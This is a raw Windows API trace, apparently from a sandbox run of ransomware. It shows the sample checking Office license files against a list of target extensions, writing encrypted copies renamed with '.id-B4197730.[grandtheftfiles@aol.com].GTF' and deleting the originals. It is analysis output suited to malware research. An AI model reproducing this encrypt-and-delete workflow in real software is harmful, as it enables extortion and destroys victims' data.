	[0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.398] lstrlenW (lpString=".doc") returned 4
	[0172.398] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.398] lstrlenW (lpString=".docx") returned 5
	[0172.398] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.399] lstrlenW (lpString=".pdf") returned 4
	[0172.399] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString=".xls") returned 4
	[0172.399] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString=".xlsx") returned 5
	[0172.399] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.399] lstrlenW (lpString=".ppt") returned 4
	[0172.399] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.399] lstrlenW (lpString=".zip") returned 4
	[0172.399] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString=".rar") returned 4
	[0172.399] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString=".bz2") returned 4
	[0172.399] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString=".7z") returned 3
	[0172.399] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.399] lstrlenW (lpString=".dbf") returned 4
	[0172.399] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.399] lstrlenW (lpString=".1cd") returned 4
	[0172.399] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.399] lstrlenW (lpString=".jpg") returned 4
	[0172.399] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.400] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.400] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37
	[0172.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.401] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19966) returned 1
	[0172.401] CloseHandle (hObject=0x3e0) returned 1
	[0172.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220
	[0172.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0172.710] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.710] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.026] GetLastError () returned 0x0
	[0173.026] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0173.028] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0173.030] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.030] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0173.030] SetEndOfFile (hFile=0x48c) returned 1
	[0173.185] CloseHandle (hObject=0x48c) returned 1
	[0173.185] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.199] SetEndOfFile (hFile=0x570) returned 1
	[0173.224] CloseHandle (hObject=0x570) returned 1
	[0173.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1
	[0173.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.225] lstrlenW (lpString=".doc") returned 4
	[0173.225] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.225] lstrlenW (lpString=".docx") returned 5
	[0173.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.225] lstrlenW (lpString=".pdf") returned 4
	[0173.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.225] lstrlenW (lpString=".xls") returned 4
	[0173.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.225] lstrlenW (lpString=".xlsx") returned 5
	[0173.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.225] lstrlenW (lpString=".ppt") returned 4
	[0173.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.225] lstrlenW (lpString=".zip") returned 4
	[0173.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.225] lstrlenW (lpString=".rar") returned 4
	[0173.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString=".bz2") returned 4
	[0173.226] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString=".7z") returned 3
	[0173.226] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.226] lstrlenW (lpString=".dbf") returned 4
	[0173.226] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.226] lstrlenW (lpString=".1cd") returned 4
	[0173.226] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.226] lstrlenW (lpString=".jpg") returned 4
	[0173.226] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.226] lstrlenW (lpString=".doc") returned 4
	[0173.226] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString=".docx") returned 5
	[0173.226] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.226] lstrlenW (lpString=".pdf") returned 4
	[0173.226] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString=".xls") returned 4
	[0173.226] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.226] lstrlenW (lpString=".xlsx") returned 5
	[0173.226] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.226] lstrlenW (lpString=".ppt") returned 4
	[0173.226] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.227] lstrlenW (lpString=".zip") returned 4
	[0173.227] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.227] lstrlenW (lpString=".rar") returned 4
	[0173.227] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.227] lstrlenW (lpString=".bz2") returned 4
	[0173.227] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.227] lstrlenW (lpString=".7z") returned 3
	[0173.227] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.227] lstrlenW (lpString=".dbf") returned 4
	[0173.227] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.227] lstrlenW (lpString=".1cd") returned 4
	[0173.227] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0173.227] lstrlenW (lpString=".jpg") returned 4
	[0173.227] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.227] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.227] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 37
	[0173.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.228] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19966) returned 1
	[0173.228] CloseHandle (hObject=0x570) returned 1
	[0173.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220
	[0173.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.229] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.229] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0173.230] GetLastError () returned 0x0
	[0173.230] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0173.276] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0173.277] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.277] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0173.277] SetEndOfFile (hFile=0x528) returned 1
	[0173.277] CloseHandle (hObject=0x528) returned 1
	[0173.277] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.277] SetEndOfFile (hFile=0x570) returned 1
	[0173.280] CloseHandle (hObject=0x570) returned 1
	[0173.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1
	[0173.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.282] lstrlenW (lpString=".doc") returned 4
	[0173.282] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.282] lstrlenW (lpString=".docx") returned 5
	[0173.282] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.282] lstrlenW (lpString=".pdf") returned 4
	[0173.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.282] lstrlenW (lpString=".xls") returned 4
	[0173.282] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.282] lstrlenW (lpString=".xlsx") returned 5
	[0173.282] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.282] lstrlenW (lpString=".ppt") returned 4
	[0173.282] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.283] lstrlenW (lpString=".zip") returned 4
	[0173.283] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString=".rar") returned 4
	[0173.283] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString=".bz2") returned 4
	[0173.283] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString=".7z") returned 3
	[0173.283] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.283] lstrlenW (lpString=".dbf") returned 4
	[0173.283] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.283] lstrlenW (lpString=".1cd") returned 4
	[0173.283] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.283] lstrlenW (lpString=".jpg") returned 4
	[0173.283] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.283] lstrlenW (lpString=".doc") returned 4
	[0173.283] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString=".docx") returned 5
	[0173.283] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.283] lstrlenW (lpString=".pdf") returned 4
	[0173.283] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString=".xls") returned 4
	[0173.283] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString=".xlsx") returned 5
	[0173.283] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.283] lstrlenW (lpString=".ppt") returned 4
	[0173.283] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.284] lstrlenW (lpString=".zip") returned 4
	[0173.284] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.284] lstrlenW (lpString=".rar") returned 4
	[0173.284] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.284] lstrlenW (lpString=".bz2") returned 4
	[0173.284] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.284] lstrlenW (lpString=".7z") returned 3
	[0173.284] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.284] lstrlenW (lpString=".dbf") returned 4
	[0173.284] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.284] lstrlenW (lpString=".1cd") returned 4
	[0173.284] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0173.284] lstrlenW (lpString=".jpg") returned 4
	[0173.284] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.284] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.284] lstrlenW (lpString="HomeBusinessR_Retail-pl.xrm-ms") returned 30
	[0173.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.285] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10655) returned 1
	[0173.285] CloseHandle (hObject=0x570) returned 1
	[0173.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220
	[0173.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.286] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.286] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0173.287] GetLastError () returned 0x0
	[0173.287] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x299f, lpOverlapped=0x0) returned 1
	[0173.289] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0173.290] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.290] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x110, lpOverlapped=0x0) returned 1
	[0173.290] SetEndOfFile (hFile=0x528) returned 1
	[0173.290] CloseHandle (hObject=0x528) returned 1
	[0173.290] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.291] SetEndOfFile (hFile=0x570) returned 1
	[0173.295] CloseHandle (hObject=0x570) returned 1
	[0173.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1
	[0173.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0173.297] lstrlenW (lpString=".doc") returned 4
	[0173.297] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.297] lstrlenW (lpString=".docx") returned 5
	[0173.297] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.297] lstrlenW (lpString=".pdf") returned 4
	[0173.297] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.297] lstrlenW (lpString=".xls") returned 4
	[0173.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
